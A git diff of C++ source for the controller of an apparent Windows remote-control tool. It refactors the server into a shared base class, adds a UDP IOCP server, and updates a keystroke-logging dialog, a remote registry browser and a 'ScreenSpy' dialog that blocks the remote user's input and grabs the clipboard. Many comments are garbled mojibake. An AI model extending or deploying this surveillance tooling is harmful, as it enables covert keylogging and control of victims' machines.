ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
||||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||||
|
#else
|
||||||
|
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||||
|
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||||
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
CCpuUsage m_cpu;
|
|
||||||
|
|
||||||
ULONG m_ulKeepLiveTime;
|
class IOCPServer : public Server
|
||||||
|
{
|
||||||
|
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
|
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
|
protected:
|
||||||
|
SOCKET m_sListenSocket;
|
||||||
|
HANDLE m_hCompletionPort;
|
||||||
|
UINT m_ulMaxConnections;
|
||||||
|
HANDLE m_hListenEvent;
|
||||||
|
HANDLE m_hListenThread;
|
||||||
|
BOOL m_bTimeToKill;
|
||||||
|
HANDLE m_hKillEvent;
|
||||||
|
ULONG m_ulThreadPoolMin;
|
||||||
|
ULONG m_ulThreadPoolMax;
|
||||||
|
ULONG m_ulCPULowThreadsHold;
|
||||||
|
ULONG m_ulCPUHighThreadsHold;
|
||||||
|
ULONG m_ulCurrentThread;
|
||||||
|
ULONG m_ulBusyThread;
|
||||||
|
|
||||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
#if USING_CTX
|
||||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
ULONG m_ulKeepLiveTime;
|
||||||
|
pfnNotifyProc m_NotifyProc;
|
||||||
|
pfnOfflineProc m_OfflineProc;
|
||||||
|
ULONG m_ulWorkThreadCount;
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
ContextObjectList m_ContextConnectionList;
|
||||||
|
ContextObjectList m_ContextFreePoolList;
|
||||||
|
|
||||||
|
private:
|
||||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
BOOL InitializeIOCP(VOID);
|
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
ULONG m_ulWorkThreadCount;
|
|
||||||
VOID OnAccept();
|
|
||||||
CRITICAL_SECTION m_cs;
|
|
||||||
|
|
||||||
/************************************************************************/
|
BOOL InitializeIOCP(VOID);
|
||||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
VOID OnAccept();
|
||||||
ContextObjectList m_ContextConnectionList;
|
|
||||||
ContextObjectList m_ContextFreePoolList;
|
|
||||||
PCONTEXT_OBJECT AllocateContext(SOCKET s);
|
PCONTEXT_OBJECT AllocateContext(SOCKET s);
|
||||||
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||||
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||||
|
|
||||||
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||||
|
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
|
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
|
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
|
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
|
||||||
|
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
|
||||||
int AddWorkThread(int n) {
|
int AddWorkThread(int n) {
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
m_ulWorkThreadCount += n;
|
m_ulWorkThreadCount += n;
|
||||||
@@ -429,60 +100,24 @@ public:
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
/************************************************************************/
|
public:
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
IOCPServer(void);
|
||||||
BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
~IOCPServer(void);
|
||||||
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
|
||||||
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||||
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
|
|
||||||
VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
|
||||||
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
|
|
||||||
}
|
|
||||||
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||||
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
|
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
|
||||||
}
|
}
|
||||||
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
|
||||||
void UpdateMaxConnection(int maxConn);
|
void UpdateMaxConnection(int maxConn);
|
||||||
IOCPServer(void);
|
|
||||||
~IOCPServer(void);
|
|
||||||
void Destroy();
|
void Destroy();
|
||||||
void Disconnect(CONTEXT_OBJECT *ctx){}
|
void Disconnect(CONTEXT_OBJECT *ctx){}
|
||||||
pfnNotifyProc m_NotifyProc;
|
|
||||||
pfnOfflineProc m_OfflineProc;
|
|
||||||
};
|
};
|
||||||
|
|
||||||
typedef IOCPServer ISocketBase;
|
typedef IOCPServer ISocketBase;
|
||||||
|
|
||||||
#define TRACK_OVERLAPPEDPLUS 0
|
|
||||||
|
|
||||||
class OVERLAPPEDPLUS
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
|
|
||||||
OVERLAPPED m_ol;
|
|
||||||
IOType m_ioType;
|
|
||||||
|
|
||||||
OVERLAPPEDPLUS(IOType ioType)
|
|
||||||
{
|
|
||||||
#if TRACK_OVERLAPPEDPLUS
|
|
||||||
char szLog[100];
|
|
||||||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
|
||||||
Mprintf(szLog);
|
|
||||||
#endif
|
|
||||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
|
||||||
m_ioType = ioType;
|
|
||||||
}
|
|
||||||
|
|
||||||
~OVERLAPPEDPLUS()
|
|
||||||
{
|
|
||||||
#if TRACK_OVERLAPPEDPLUS
|
|
||||||
char szLog[100];
|
|
||||||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
|
||||||
Mprintf(szLog);
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef IOCPServer CIOCPServer;
|
typedef IOCPServer CIOCPServer;
|
||||||
|
|
||||||
typedef CONTEXT_OBJECT ClientContext;
|
typedef CONTEXT_OBJECT ClientContext;
|
||||||
@@ -494,12 +129,12 @@ typedef CONTEXT_OBJECT ClientContext;
|
|||||||
class CDialogBase : public CDialog {
|
class CDialogBase : public CDialog {
|
||||||
public:
|
public:
|
||||||
CONTEXT_OBJECT* m_ContextObject;
|
CONTEXT_OBJECT* m_ContextObject;
|
||||||
IOCPServer* m_iocpServer;
|
Server* m_iocpServer;
|
||||||
CString m_IPAddress;
|
CString m_IPAddress;
|
||||||
bool m_bIsClosed;
|
bool m_bIsClosed;
|
||||||
bool m_bIsProcessing;
|
bool m_bIsProcessing;
|
||||||
HICON m_hIcon;
|
HICON m_hIcon;
|
||||||
CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
||||||
m_bIsClosed(false), m_bIsProcessing(false),
|
m_bIsClosed(false), m_bIsProcessing(false),
|
||||||
m_ContextObject(pContext),
|
m_ContextObject(pContext),
|
||||||
m_iocpServer(pIOCPServer),
|
m_iocpServer(pIOCPServer),
|
||||||
|
|||||||
164
server/2015Remote/IOCPUDPServer.cpp
Normal file
164
server/2015Remote/IOCPUDPServer.cpp
Normal file
@@ -0,0 +1,164 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "IOCPUDPServer.h"
|
||||||
|
#include <thread>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
IOCPUDPServer::IOCPUDPServer() {
|
||||||
|
WSADATA wsaData;
|
||||||
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
}
|
||||||
|
|
||||||
|
IOCPUDPServer::~IOCPUDPServer() {
|
||||||
|
WSACleanup();
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||||
|
if (m_running) return 1;
|
||||||
|
|
||||||
|
m_notify = NotifyProc;
|
||||||
|
m_offline = OffProc;
|
||||||
|
|
||||||
|
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||||
|
if (m_socket == INVALID_SOCKET) return 2;
|
||||||
|
|
||||||
|
sockaddr_in addr{};
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(uPort);
|
||||||
|
addr.sin_addr.s_addr = INADDR_ANY;
|
||||||
|
|
||||||
|
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
|
||||||
|
|
||||||
|
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
|
||||||
|
if (!m_hIOCP) return 4;
|
||||||
|
|
||||||
|
m_running = true;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||||
|
m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
|
||||||
|
((IOCPUDPServer*)param)->WorkerThread();
|
||||||
|
return 0;
|
||||||
|
}, this, 0, NULL);
|
||||||
|
|
||||||
|
// <20>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||||||
|
for (int i = 0; i < 4; ++i)
|
||||||
|
PostRecv();
|
||||||
|
|
||||||
|
return 0; // <20>ɹ<EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
void IOCPUDPServer::PostRecv() {
|
||||||
|
if (!m_running) return;
|
||||||
|
|
||||||
|
AddCount(1);
|
||||||
|
CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
|
||||||
|
ctx->InitMember(m_socket);
|
||||||
|
|
||||||
|
IO_CONTEXT* ioCtx = new IO_CONTEXT();
|
||||||
|
ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
|
||||||
|
ioCtx->pContext = ctx;
|
||||||
|
|
||||||
|
ctx->wsaInBuf.buf = ctx->szBuffer;
|
||||||
|
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
|
||||||
|
ctx->addrLen = sizeof(sockaddr_in);
|
||||||
|
|
||||||
|
DWORD flags = 0;
|
||||||
|
int err = WSARecvFrom(
|
||||||
|
m_socket,
|
||||||
|
&ctx->wsaInBuf,
|
||||||
|
1,
|
||||||
|
NULL,
|
||||||
|
&flags,
|
||||||
|
(sockaddr*)&ctx->clientAddr,
|
||||||
|
&ctx->addrLen,
|
||||||
|
&ioCtx->ol,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
Mprintf("[IOCP] PostRecv error: %d\n", err);
|
||||||
|
delete ioCtx;
|
||||||
|
delete ctx;
|
||||||
|
AddCount(-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void IOCPUDPServer::WorkerThread() {
|
||||||
|
while (m_running) {
|
||||||
|
DWORD bytes = 0;
|
||||||
|
ULONG_PTR key = 0;
|
||||||
|
LPOVERLAPPED pOverlapped = nullptr;
|
||||||
|
|
||||||
|
BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE);
|
||||||
|
if (!ok) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
Mprintf("[IOCP] PostRecv error: %d\n", err);
|
||||||
|
if (pOverlapped) {
|
||||||
|
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||||
|
delete ioCtx->pContext;
|
||||||
|
delete ioCtx;
|
||||||
|
AddCount(-1);
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!pOverlapped) continue;
|
||||||
|
|
||||||
|
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||||
|
CONTEXT_OBJECT* ctx = ioCtx->pContext;
|
||||||
|
|
||||||
|
if (m_notify)
|
||||||
|
m_notify(ctx);
|
||||||
|
|
||||||
|
// <20>ͷ<EFBFBD>
|
||||||
|
delete ioCtx;
|
||||||
|
delete ctx;
|
||||||
|
AddCount(-1);
|
||||||
|
|
||||||
|
PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||||
|
WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer };
|
||||||
|
DWORD sent = 0;
|
||||||
|
int err = WSASendTo(
|
||||||
|
ContextObject->sClientSocket,
|
||||||
|
&buf,
|
||||||
|
1,
|
||||||
|
&sent,
|
||||||
|
0,
|
||||||
|
(sockaddr*)&ContextObject->clientAddr,
|
||||||
|
sizeof(sockaddr_in),
|
||||||
|
NULL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
if (err == SOCKET_ERROR) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
Mprintf("[IOCP] Send2Client error: %d\n", err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPUDPServer::Destroy() {
|
||||||
|
if (m_socket != INVALID_SOCKET) {
|
||||||
|
CancelIoEx((HANDLE)m_socket, NULL); // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IO<49><4F><EFBFBD><EFBFBD>
|
||||||
|
closesocket(m_socket);
|
||||||
|
m_socket = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (GetCount())
|
||||||
|
Sleep(200);
|
||||||
|
|
||||||
|
m_running = false;
|
||||||
|
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // <20><><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>˳<EFBFBD>
|
||||||
|
|
||||||
|
if (m_hThread) {
|
||||||
|
WaitForSingleObject(m_hThread, INFINITE);
|
||||||
|
CloseHandle(m_hThread);
|
||||||
|
m_hThread = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_hIOCP) {
|
||||||
|
CloseHandle(m_hIOCP);
|
||||||
|
m_hIOCP = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
46
server/2015Remote/IOCPUDPServer.h
Normal file
46
server/2015Remote/IOCPUDPServer.h
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <windows.h>
|
||||||
|
#include <mswsock.h>
|
||||||
|
#include "Server.h"
|
||||||
|
|
||||||
|
|
||||||
|
class IOCPUDPServer : public Server {
|
||||||
|
public:
|
||||||
|
IOCPUDPServer();
|
||||||
|
~IOCPUDPServer();
|
||||||
|
|
||||||
|
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
|
||||||
|
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||||
|
VOID Destroy() override;
|
||||||
|
|
||||||
|
private:
|
||||||
|
void WorkerThread();
|
||||||
|
void PostRecv();
|
||||||
|
void AddCount(int n=1){
|
||||||
|
m_locker.lock();
|
||||||
|
m_count += n;
|
||||||
|
m_locker.unlock();
|
||||||
|
}
|
||||||
|
int GetCount() {
|
||||||
|
m_locker.lock();
|
||||||
|
int n = m_count;
|
||||||
|
m_locker.unlock();
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
int m_count = 0;
|
||||||
|
CLocker m_locker;
|
||||||
|
SOCKET m_socket = INVALID_SOCKET;
|
||||||
|
HANDLE m_hIOCP = NULL;
|
||||||
|
HANDLE m_hThread = NULL;
|
||||||
|
bool m_running = false;
|
||||||
|
|
||||||
|
pfnNotifyProc m_notify = nullptr;
|
||||||
|
pfnOfflineProc m_offline = nullptr;
|
||||||
|
|
||||||
|
struct IO_CONTEXT {
|
||||||
|
OVERLAPPED ol;
|
||||||
|
CONTEXT_OBJECT* pContext;
|
||||||
|
};
|
||||||
|
};
|
||||||
@@ -19,7 +19,7 @@ static char THIS_FILE[] = __FILE__;
|
|||||||
// CKeyBoardDlg dialog
|
// CKeyBoardDlg dialog
|
||||||
|
|
||||||
|
|
||||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||||
{
|
{
|
||||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||||
@@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
|||||||
|
|
||||||
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// EXCEPTION: OCX Property Pages should return FALSE
|
// EXCEPTION: OCX Property Pages should return FALSE
|
||||||
@@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
if (pSysMenu != NULL) {
|
if (pSysMenu != NULL) {
|
||||||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||||||
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
|
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
|
||||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
if (m_bIsOfflineRecord)
|
if (m_bIsOfflineRecord)
|
||||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||||
else
|
else
|
||||||
@@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
|
|
||||||
} else if (nID == IDM_CLEAR_RECORD) {
|
} else if (nID == IDM_CLEAR_RECORD) {
|
||||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||||
m_edit.SetWindowText("");
|
m_edit.SetWindowText("");
|
||||||
} else if (nID == IDM_SAVE_RECORD) {
|
} else if (nID == IDM_SAVE_RECORD) {
|
||||||
SaveRecord();
|
SaveRecord();
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ class CKeyBoardDlg : public DialogBase
|
|||||||
// Construction
|
// Construction
|
||||||
public:
|
public:
|
||||||
void OnReceiveComplete();
|
void OnReceiveComplete();
|
||||||
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||||
|
|
||||||
// Dialog Data
|
// Dialog Data
|
||||||
//{{AFX_DATA(CKeyBoardDlg)
|
//{{AFX_DATA(CKeyBoardDlg)
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ enum KEYVALUE{
|
|||||||
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
||||||
|
|
||||||
|
|
||||||
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
|
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
|
||||||
{
|
{
|
||||||
m_bIsClosed = FALSE;
|
m_bIsClosed = FALSE;
|
||||||
@@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
bToken=COMMAND_REG_FIND;
|
bToken=COMMAND_REG_FIND;
|
||||||
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
|
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
|
||||||
|
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||||
|
|
||||||
m_isEnable = TRUE;
|
m_isEnable = TRUE;
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ class CRegisterDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CRegisterDlg)
|
DECLARE_DYNAMIC(CRegisterDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
virtual ~CRegisterDlg();
|
virtual ~CRegisterDlg();
|
||||||
|
|
||||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ extern "C" void* x265_api_get_192() { return nullptr; }
|
|||||||
|
|
||||||
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
|
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
|
||||||
|
|
||||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
|
: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
|
||||||
{
|
{
|
||||||
m_pCodec = nullptr;
|
m_pCodec = nullptr;
|
||||||
@@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
|
|||||||
VOID CScreenSpyDlg::SendNext(void)
|
VOID CScreenSpyDlg::SendNext(void)
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
BYTE bToken[2];
|
BYTE bToken[2];
|
||||||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||||
bToken[1] = !bIsChecked;
|
bToken[1] = !bIsChecked;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
|
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_SET_CLIPBOARD: //给他
|
case IDM_SET_CLIPBOARD: //给他
|
||||||
@@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
|
|||||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||||
memcpy(szData + 1, Msg, sizeof(MSG64));
|
memcpy(szData + 1, Msg, sizeof(MSG64));
|
||||||
szData[length] = 0;
|
szData[length] = 0;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
|
m_iocpServer->Send2Client(m_ContextObject, szData, length);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||||
@@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void)
|
|||||||
